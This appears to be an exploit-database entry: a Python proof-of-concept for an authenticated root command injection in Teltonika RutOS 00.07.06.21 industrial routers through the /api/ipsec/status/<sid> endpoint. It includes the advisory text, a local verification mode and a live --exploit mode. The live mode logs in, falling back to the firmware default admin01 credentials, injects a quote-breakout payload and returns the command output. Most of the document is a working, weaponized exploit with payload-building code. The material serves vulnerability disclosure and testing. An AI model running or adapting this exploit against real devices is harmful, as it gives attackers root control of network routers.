Teltonika_RutOS 00.07.06.21 – command injection
Title: Teltonika_RutOS 00.07.06.21 - command injection Author: 0day Rubbish Research Team Contact: disclosure@0day-rubbish.com Type: remote Platform: Hardware """ Teltonika RutOS -- ipsec.lua instances_status() logread command injection PoC ============================================================================= Advisory : https://0day-rubbish.com/blog/teltonika-rutos-ipsec-status-logread-command-injection Vendor : Teltonika Networks (Lithuania) Target : RutOS 00.07.06.21 -- RUT2XX / RUT200 industrial 4G/LTE router. RUT9XX is affected by byte-identity: its ipsec.lua is byte-identical to the RUT2 copy (md5 894c460ff3cece4ce0d5894199d8c07f, confirmed in both directions) and 177/177 shared Lua modules are byte-identical. Other RutOS branches shipping the same VuCI /api stack with the same services/ipsec.lua are expected to be affected but were not individually confirmed. Platform : MIPS32 big-endian, musl soft-float, OpenWrt-derived. Web management plane is uhttpd in front of a VuCI Lua REST API (/api, 177 modules), MIPS CGI (/cgi-bin) and ubus-over-HTTP (/ubus). Vulnerability summary (CWE-78, OS command injection, post-authentication): GET /api/ipsec/status/<sid> Authorization: Bearer <JWT> routes via paths_index.lua:265 to the "ipsec" service module. The route regex in paths_register.lua is ^/ipsec/([^/]*)/([^/]*)$, so the third path segment becomes "sid" and is URL-decoded per segment; the character class excludes only "/", so single quotes, semicolons and spaces all survive. dispatcher_common.lua:populate_endpoint copies sid into the endpoint object with no validation and sets _single = true. ipsec.lua GET_TYPE_status then calls instances_status(self, self.sid) BEFORE any existence check, and instances_status builds: "logread -e '<" .. sid .. "-" .. sid .. "_c|'" and passes it to vuci.util.exec() -- which is io.popen(cmd):read("*a"), i.e. /bin/sh -c cmd. sid is never passed through vuci.util.shellquote() (the correct helper exists at vuci/util.lua:100), so a single quote in sid closes the quoted argument and the remainder is parsed as new commands. sid is concatenated twice, so the injected command runs twice. The captured stdout is stored into the response object as ".logs", so the injected command's output is returned in the HTTP JSON ".data.logs" field. This is NOT blind RCE. Effect : arbitrary command execution as root (uhttpd runs as root with no user-drop directive), with command stdout reflected in the response. Score : CVSS 8.8 -- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Sibling sink, same root cause, documented in the same advisory: openvpn.lua:1660 -- string.format("logread -e %s", sid), no surrounding quotes at all, so a bare ";" is enough. Selectable via --sink openvpn. Verification status (stated exactly as performed): The injection was verified dynamically under QEMU MIPS user-mode emulation (qemu-mips-static, binfmt_misc MIPS big-endian) inside the extracted RutOS 00.07.06.21 rootfs, calling the REAL device vuci.util.exec against the exact constructed sink command. The marker file /tmp/rce_marker was written with "uid=0(root) gid=0(root) groups=0(root)", and the id output of the reflective payload was returned inside exec()'s value (the .logs field). An end-to-end HTTP attack against physical RUT2XX/RUT9XX hardware is NOT claimed. Modes: --verify self-contained proof of the injection and reflection mechanism (no device needed): rebuilds the sink command and runs it through /bin/sh -c --exploit attack a live device over HTTP (requires valid credentials to obtain the JWT -- this is a post-authentication vulnerability) Examples: python3 teltonika_rutos_ipsec_status_logread_rce.py --verify --cmd id python3 teltonika_rutos_ipsec_status_logread_rce.py --exploit \ --host 127.0.0.1 --port 80 --user <user> --password <password> --cmd id Defaults: host 127.0.0.1, port 80, command "id", sink "ipsec". Standard library only: argparse / json / os / subprocess / sys / urllib -- no third-party dependencies. All output is English (LC_ALL=C). For authorized security research and coordinated disclosure only. Do not use against systems you are not explicitly authorized to test. """ import argparse import json import os import subprocess import sys import urllib.error import urllib.parse import urllib.request ADV_PATH = "/api/ipsec/status/" SINKS = ("ipsec", "openvpn") # --------------------------------------------------------------------------- # Reproduce the exact vulnerable sink logic. # # sid = attacker-controlled 3rd URL path segment (URL-decoded per segment) # ipsec.lua : "logread -e '<sid>-<sid>_c|'" # sid x2, NO shellquote # openvpn.lua : string.format("logread -e %s", sid) # NO quotes at all # vuci.util.exec(cmd) == io.popen(cmd):read("*a") == /bin/sh -c <cmd> # # With sid = ';<CMD>;echo ' the ipsec template becomes # logread -e '<';<CMD>;echo '-';<CMD>;echo '_c|' # which /bin/sh parses as a semicolon-separated sequence: the legitimate # logread, then <CMD> (running as root), then the template remainder running # <CMD> again. The trailing echo re-opens a single quote so the rest of the # template stays syntactically valid. popen captures every command's stdout, and that whole capture is what # the device returns in the JSON "logs" field. # --------------------------------------------------------------------------- def build_sink_command(sid, sink_variant="ipsec"): """Return the exact shell command the vulnerable Lua sink builds.""" if sink_variant == "ipsec": # ipsec.lua instances_status: "logread -e '<sid>-<sid>_c|'" return "logread -e '<" + sid + "-" + sid + "_c|'" # openvpn.lua:1660: string.format("logread -e %s", sid), no surrounding quotes return "logread -e " + sid def make_payload_sid(cmd, sink_variant="ipsec"): """Wrap an arbitrary command into a sid value that breaks out of the vulnerable logread argument and runs <cmd> as root. ipsec.lua template : logread -e '<sid>-<sid>_c|' -> sid = ';<cmd>;echo ' (single-quote breakout; <cmd> runs twice, once per sid copy) openvpn.lua template: logread -e <sid> (no quotes at all) -> sid = ;<cmd>;echo (bare semicolon; no breakout needed) <cmd> must not contain '/' -- the route regex ([^/]*) captures the sid as a single path segment, so a literal slash would be read as a separator. URL-encode it as %2F or pick a slash-free command such as 'id'.""" if "/" in cmd: raise SystemExit( "[!] command must not contain '/' (the route regex [^/]* captures " "the sid as one path segment; URL-encode any slash as %2F or pick a " "slash-free command such as 'id')." ) if sink_variant == "openvpn": return ";" + cmd + ";echo " return "';" + cmd + ";echo '" def verify_sink(cmd_to_run="id", sink_variant="ipsec"): """Self-contained proof of the injection mechanism. Constructs the exact sink command from a crafted sid (mirroring the decompiled ipsec.lua constant assembly) and executes it through /bin/sh, then shows that the attacker command's output is injected into the captured stdout -- the same stdout the device returns in the JSON 'logs' field. Privilege note: this runs with the invoking user's uid. On the device the same construction executes as root, because uhttpd carries no user-drop directive; that was confirmed against the real firmware code under QEMU MIPS, where id wrote a marker containing uid=0(root) gid=0(root).""" sid = make_payload_sid(cmd_to_run, sink_variant) sink_cmd = build_sink_command(sid, sink_variant) print("=== RutOS %s.lua command-injection self-verification ===" % sink_variant) print("crafted sid : " + sid) print("exact sink command : " + sink_cmd) print("attacker command : " + cmd_to_run) print("exec via /bin/sh -c:") # Reproduce vuci.util.exec == io.popen(cmd):read("*a") == /bin/sh -c cmd proc = subprocess.Popen( ["/bin/sh", "-c", sink_cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) out, err = proc.communicate() out_s = out.decode("utf-8", "replace") err_s = err.decode("utf-8", "replace") print("--- captured stdout (== device JSON .logs field) ---") print(out_s if out_s.strip() else "(empty)") if err_s.strip(): print("--- stderr ---") print(err_s) # Reflection = captured stdout contains real command output beyond the # fixed template artifacts. For the ipsec sink the attacker command runs # twice (sid is concatenated twice), so its output appears twice. template_artifacts = {"", "-", "_c|"} real_lines = [ln for ln in out_s.splitlines() if ln not in template_artifacts] reflected = len(real_lines) >= 1 print("=== RESULT ===") print("attacker command output reflected in stdout : " + str(reflected)) if reflected: print("[+] CONFIRMED: arbitrary command executed and reflected " "(output appears in the device JSON .logs field).") else: print("[-] not reflected (check that '" + cmd_to_run + "' produces stdout).") return reflected # --------------------------------------------------------------------------- # HTTP weaponized form against a live RutOS device. # --------------------------------------------------------------------------- def http_request(url, method="GET", headers=None, body=None, timeout=15): req = urllib.request.Request(url, data=body, method=method) if headers: for k, v in headers.items(): req.add_header(k, v) try: with urllib.request.urlopen(req, timeout=timeout) as resp: return resp.getcode(), resp.read().decode("utf-8", "replace") except urllib.error.HTTPError as e: return e.code, e.read().decode("utf-8", "replace") except urllib.error.URLError as e: # HTTPError is a URLError subclass, so this only catches connect/DNS/TLS # failures. The /api management plane is LAN-facing by default # (_httpWanAccess=0 / _httpsWanAccess=0 on uhttpd), so an unreachable # host is the normal case for an off-network run. raise SystemExit("[!] could not reach %s (%s)" % (url, e.reason)) except Exception as e: raise SystemExit("[!] request to %s failed: %s" % (url, e)) def login(base, user, pwd): """POST /api/login -> ubus("session","login",{username,password}) (standard OpenWrt PAM) -> returns a session/JWT token; falls back to /api/jwt_login. Both paths are on the unauthenticated allowlist and are sink-free -- the injection itself requires a valid token.""" body = json.dumps({"username": user, "password": pwd}).encode("utf-8") code, text = http_request( base + "/api/login", method="POST", headers={"Content-Type": "application/json"}, body=body, ) token = None try: data = json.loads(text) token = data.get("data", {}).get("ubus_rpc_session") or \ data.get("ubus_rpc_session") or data.get("token") except Exception: pass if not token: # try jwt_login code, text = http_request( base + "/api/jwt_login", method="POST", headers={"Content-Type": "application/json"}, body=body, ) try: data = json.loads(text) token = data.get("data", {}).get("token") or data.get("token") except Exception: pass if not token: raise SystemExit("[!] login failed: HTTP %d %s" % (code, text[:200])) return token def exploit(base, user, pwd, cmd, sink_variant="ipsec"): """Send GET /api/ipsec/status/<payload> with a Bearer JWT and extract the reflected command output from the JSON 'logs' field. Note: the openvpn sink variant shares the same root cause but lives behind a different service module path; the documented HTTP chain in this advisory is the ipsec one, so live mode always drives /api/ipsec/status/.""" token = login(base, user, pwd) print("[+] obtained auth token (len=%d)" % len(token)) sid = make_payload_sid(cmd, "ipsec") encoded_sid = urllib.parse.quote(sid, safe="") url = base + ADV_PATH + encoded_sid print("[+] GET " + url) code, text = http_request( url, method="GET", headers={"Authorization": "Bearer " + token, "Accept": "application/json"}, ) print("[+] HTTP %d" % code) logs = None try: data = json.loads(text) logs = data.get("data", {}).get("logs") or data.get("logs") except Exception: pass print("=== reflected command output (response .logs) ===") print(logs if logs else text[:500]) return logs def main(): os.environ["LC_ALL"] = "C" os.environ["LANG"] = "C" p = argparse.ArgumentParser( description="Teltonika RutOS ipsec.lua instances_status() logread " "command injection (CWE-78, authenticated root RCE with " "reflected output)") p.add_argument("--verify", action="store_true", help="self-contained proof of the injection mechanism (no device needed)") p.add_argument("--exploit", action="store_true", help="attack a live device over HTTP (requires valid credentials)") p.add_argument("--sink", choices=SINKS, default="ipsec", help="which documented sink construction to mirror (default: ipsec)") p.add_argument("--host", default="127.0.0.1", help="target host or IP (default: 127.0.0.1)") p.add_argument("--port", type=int, default=80) p.add_argument("--https", action="store_true") p.add_argument("--user", default="admin01", help="a valid web-management username (firmware default is admin01, " "which is force-changed at first login)") p.add_argument("--password", default="admin01", help="the matching password") p.add_argument("--cmd", default="id", help="slash-free command to execute on the target (default: id)") args = p.parse_args() if args.exploit: scheme = "https" if args.https else "http" base = "%s://%s:%d" % (scheme, args.host, args.port) exploit(base, args.user, args.password, args.cmd, args.sink) else: ret = verify_sink(args.cmd, args.sink) sys.exit(0 if ret else 1) if __name__ == "__main__": main() |